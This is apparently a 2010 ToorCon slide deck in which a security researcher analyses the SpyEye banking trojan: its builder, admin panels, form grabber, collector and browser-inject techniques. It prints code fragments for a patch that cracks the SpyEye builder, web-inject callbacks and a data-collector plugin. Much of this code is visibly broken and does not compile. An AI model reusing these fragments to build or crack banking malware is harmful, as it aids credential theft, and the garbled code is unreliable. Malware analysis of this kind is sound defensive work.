SpyEye Banking Trojan

ToorCon 12 – San Diego 2010

Aditya K Sood
SecNiche Security
Email: adi_ks [at] secniche.org
All the content of this talk is targeted for education and security purposes. It does not reflect any relation to my present and previous employers.
About Me

Founder, SecNiche Security Labs.
http://www.secniche.org

PhD Candidate at Michigan State University

Worked previously for Armorize as a Senior Security Practitioner, COSEINC as Senior Security Researcher and Security Consultant for KPMG

Written content for HITB E-Zine, Hakin9, ELSEVIER, USENIX Journals.

Active speaker at security conferences

http://secniche.blogspot.com | http://zeroknock.blogspot.com
Dissecting SpyEye Bot Infection Framework
SpyEye Botnet Steals Online Banking Credentials from Polish Users

New Spy Eye 'Toolkit' Kills Trojan, Then Steals Bank Info

SpyEye steals your data. Even in a limited account

SpyEye Botnet’s Bogus Billing Feature

A new sophisticated bot named SpyEye is on the market

SpyEye continues battle of the botnets

Zeus not the only threat to online banking, users warned

SpyEye Bot Kit Takes on Zeus
What's the fun of Trojan Wars?

World is at Loss. Threat is prevailing .............
SpyEye Released Analysis – Relative Snapshot

http://www.microsoft.com/securityportal/Threat/Encyclopedia/Entry.aspx?Name=Trojan%3AWin32%2FSpyeye#symptoms_link

http://blog.novirusthanks.org/2010/01/a-new-sophisticated-bot-named-spyeye-is-on-the-market/
http://www.threatexpert.com/report.aspx?md5=e8268fb6853e8b5a5e0f213873651d28

http://www.sans.org/reading_room/whitepapers/malicious/clash-titans-zeus-spyeye_33393


http://malwareint.blogspot.com/2010/01/spyeye-new-bot-on-market.html
https://www.hbgary.com/phils-blog/thoughts-on-spyeye-107/

Why the analysis are not composite and not complete?
Design
SpyEye Bot Infection Framework

Builder
Main Admin
Form Grabber Admin
Backend Collector
Builds the configuration file and bot for spreading infections. The configuration parameters are automatically threaded in the bot itself.

Builder cannot be allowed to run directly. It uses VMprotect +HWID+ custom protections in general. Cracked versions usually have UPX + ASPACK 2.12

Builder uses Import Address Table (IAT) to build dropper. API’s are rarely used in the build process. Bot uses inbuilt application and low level API’s.

Possible to pack dropper with UPX Library to attain more optimization. Reduce size for faster downloading of SpyEye bot.

Uses encryption key to maintain the integrity of configuration file.

*Inside Builder!*
SpyEye Builder – 1.2.x
Inside Builder!

**Generic HWID – One Machine License**

```java
public static string GetProcessorID()
{
    string sProcessorID = String.Empty;
    string sQuery = "SELECT ProcessorId FROM Win32_Processor";
    ManagementObjectSearcher oManagementObjectSearcher = new ManagementObjectSearcher(sQuery);
    ManagementObjectCollection oCollection = oManagementObjectSearcher.Get();
    foreach (ManagementObject oManagementObject in oCollection)
    {
        sProcessorID = (string)oManagementObject["ProcessorId"];            
    }
    return (sProcessorID);        
}
```

**VMProtect - More Sophisticated**

Converts x86 into VM Pseudo code instructions. Binary is subjected with inbuilt small VM decrypting engine. Pseudo code is chosen at random. Hard to analyze and take long time because it is combined with HWID collectively.  
SpyEye Builder – 1.1.39 Patch

HANDLE ProcessHandle = 0;
_NtSuspendProcess NtSuspendProcess = 0;
_NtResumeProcess NtResumeProcess = 0;
PROCESSENTRY32 processInfo;
processInfo.dwSize = sizeof(processInfo);
HANDLE processesSnapshot = CreateToolhelp32Snapshot(_TH32CS_SNAPPROCESS, NULL);
CHAR processName[] = "SpyEye.exe";
DWORD PID = 0;

DWORD Patch1 = 0x4010C8;
DWORD Patch2 = 0x4010CA;
DWORD Patch3 = 0x4010CC;
DWORD Patch4 = 0x4010CD;

UCHAR PatchVal1[] = "xxB8xx00xx11xx40xx00";
UCHAR PatchVal2[] = "xxF3xx00";
UCHAR PatchVal3[] = "xx90";
UCHAR PatchVal4[] = "xx90";

_NtSuspendProcess = (_NtSuspendProcess)GetProcAddress(GetModuleHandle("ntdll"), "NtSuspendProcess");
_NtResumeProcess = (_NtResumeProcess)GetProcAddress(GetModuleHandle("ntdll"), "NtResumeProcess");

#include <Windows.h>
#include <tlib32.h>

typedef LONG (NTAPI *) _NtSuspendProcess (IN HANDLE ProcessHandle);
typedef LONG (NTAPI *) _NtResumeProcess (IN HANDLE ProcessHandle);

int WINAPI WinMain(HINSTANCE hinstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
  TOKEN_PRIVILEGES priv;
  HANDLE hThis, hToken;
  LUID luid;
  hThis = GetCurrentProcess();
  OpenProcessToken(hThis, TOKEN_ADJUST_PRIVILEGES, &hToken);
  LookupPrivilegeValue(0, "SeDebugPrivilege", &luid);
  priv.PrivilegeCount = 1;
  priv.Privileges[0].Luid = luid;
  priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
  AdjustTokenPrivileges(hToken, false, &priv, 0, 0, 0);
  CloseHandle(hToken);
  CloseHandle(hThis);

  HANDLE ProcessHandle = 0;
  _NtSuspendProcess NtSuspendProcess = 0;
  _NtResumeProcess NtResumeProcess = 0;
  PROCESSENTRY32 processInfo;
  processInfo.dwSize = sizeof(processInfo);
  HANDLE processesSnapshot = CreateToolhelp32Snapshot(_TH32CS_SNAPPROCESS, NULL);
  CHAR processName[] = "SpyEye.exe";
  DWORD PID = 0;

  if (ProcessHandle != NULL) {
    NtSuspendProcess(ProcessHandle);
    WriteProcessMemory(ProcessHandle, (LPVOID)Patch1, &PatchVal1, sizeof(PatchVal1)-1, NULL);
    WriteProcessMemory(ProcessHandle, (LPVOID)Patch2, &PatchVal2, sizeof(PatchVal2)-1, NULL);
    WriteProcessMemory(ProcessHandle, (LPVOID)Patch3, &PatchVal3, sizeof(PatchVal3)-1, NULL);
    WriteProcessMemory(ProcessHandle, (LPVOID)Patch4, &PatchVal4, sizeof(PatchVal4)-1, NULL);
  }

  MessageBoxA(NULL, "SpyEye should have been patched now. Just press OK and enjoy", "SpyEye Patch by Zer0Flag", 0);

  NtResumeProcess(ProcessHandle);
  CloseHandle(ProcessHandle);
  return 0;
}
Admin panel provides configuration updates for building dropper and bot. Controls the back connect module for bypassing NAT.

Plugins are controlled and monitored by the admin panel. Provides statistical report of stolen data.

Data is segregated based on geographical locations.

What lies beneath Main Admin Panel?

Previous Versions < 1.2.x.

Newer Versions >= 1.2.x.
Form Grabber Admin

Info module provides all the HTTP header and response communication information

Form grabber admin provides information about the various websites that a particular host visit

Designed efficiently to capture screenshots.

Inbuilt Bank of America (BOA) Grabber, FTP Account stealer.

What lies beneath Form Grabber admin panel?
SpyEye database storage component. Introduced after SpyEye version 1.0.70. Previously admin panel is used for storage.

Backend Collector – Linux Daemon, PHP and MySQL base. LZO data compression library is used for compressing logs

Logging of sensitive data!
Infection Layout

SpyEye versions < 1.0.8

Build (SpyEye) → Dropper (build.exe) → Bot (Cleansweep.exe)

SpyEye versions > 1.0.8

Builder (SpyEye) → Bot (Cleansweep.exe) - name varies

SpyEye don’t use any more dropper nowadays !!
Trade and Tactics

Spy Eye
Ring 3 Bot – Rootkit Capability

Basic layout
Tampering Browser Activity

- wininet.dll
- nspr4.dll

- MAXTHON
- IE
- FIREFOX
- FLOCK
- NETSCAPE
What about browser rootkit? Is MITB and BR are same?
Web Browser Injects

Injecting malicious content.

Hooks the HTTP communication channel between browser and website and uses HTTP API’s to update the content.

No tampering in the banking URL. Address bar remains same showing the authentic domain name.

Pure technique of DLL Hijacking and API Hooking.

Generic Explanation
Web Browser Injects

Exemplary Layout of Infected Machine
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define MAX_SIZE 2048

void Callback_OnBeforeLoadPage(IN PCHAR szUrl, IN PCHAR szVerb, IN PCHAR szPostBacks, OUT PCHAR *lpszContent, OUT PDWORD lpdwSize) {
    if (!strstr(szUrl, "google")) {
        DebugWrite("\n\n| Output : \n| %s \n|\n", data);
        return;
    }
    *lpszContent = (PCHAR)malloc(sizeof(data));
    if (!*lpszContent) {
        DebugWrite("\n| ERROR : Achtung! : lpszContent == NULL\n|\n", "lpszContent");
        return;
    }
    CopyMemory(*lpszContent, data, sizeof(data));
    *lpdwSize = sizeof(data);
}

void Callback_ProcessContentOfPage(IN PCHAR szUrl, IN PCHAR szVerb, IN PCHAR szPageContent, OUT PCHAR *szOut, IN OUT PDWORD lpdwSize) {
    if (!strstr(szUrl, "google")) {
        DWORD dwMaxSize = 200000;
        if (dwMaxSize < strlen(szPageContent))
            return;
        *szOut = (PCHAR)malloc(dwMaxSize);
        if (!*szOut)
            return;
        ZeroMemory(*szOut, dwMaxSize);
        CopyMemory(*szOut, szPageContent, strlen(szPageContent));
        PCHAR szPos = strstr(*szOut, "porno");
        if (szPos) {
            CopyMemory(szPos, "xxxxx", 5);
        }
        *lpdwSize = strlen(szPageContent);
    }
```
Web Fakes DLL – Infected Victim Machine
Malicious Plugin Generation – Pseudo Code

```c
BOOL Init(char *szConfig)
{
    if (gl_GateToCollector)
    {
        char szTableName[] = "test";
        char szFieldName[] = "test";
        DWORD dwFilesCount = 1;
        PCHAR szFieldValue = szConfig;
        DWORD dwFileSize = strlen(szFieldValue);
        //
        DWORD dwTotalSize = 0;
dwTotalSize += strlen(szTableName) + 1;
dwTotalSize += sizeof(dwFilesCount);
dwTotalSize += strlen(szFieldName) + 1;
dwTotalSize += sizeof(dwFileSize);
        //
        BYTE pbData = new BYTE[2];
        DWORD dwDataPtr = 0;
        CopyMemory(pbData + dwDataPtr, szTableName, strlen(szTableName) + 1);
dwDataPtr += strlen(szTableName) + 1;
        CopyMemory(pbData + dwDataPtr, dwFilesCount, sizeof(dwFilesCount));
dwDataPtr += sizeof(dwFilesCount);
        CopyMemory(pbData + dwDataPtr, szFieldName, strlen(szFieldName) + 1);
dwDataPtr += strlen(szFieldName) + 1;
        CopyMemory(pbData + dwDataPtr, dwFileSize, sizeof(dwFileSize));
        CopyMemory(pbData + dwDataPtr, szFieldValue, dwFileSize);
        dwDataPtr += dwFileSize;
        //
        if defined NDEBUG
        DumpPage("C:\dump.dat", pbData, dwDataPtr);
        #endif
        //
        gl_GateToCollector(pbData, dwTotalSize);
        //
    }
    return true;
}

BOOL Start()
{
    return true;
}

BOOL Stop()
{
    return true;
}

void TakeGateToCollector(LPVOID lpGateFunc)
{
    gl_GateToCollector = (GATETOCOLLECTOR)lpGateFunc;
}

#define GATETOCOLLECTOR 1

@endif

BOOL DebugInit()
{
    gl_GateToCollector = (GATETOCOLLECTOR)1;
    Init("tada!");
    Sleep(INFINITE);
    #endif
```
Lot More Details are Pending .............
Continuous Research is on the Way .......
Visit – http://www.secniche.blogspot.com
Questions

??

Spy Eye
Thanks and Regards

• SecNiche Security ( http://www.secniche.org )

• ToorCon ( http://www.toorcon.org )

• Contact – adi_ks@secniche.org | adi.zerok@gmail.com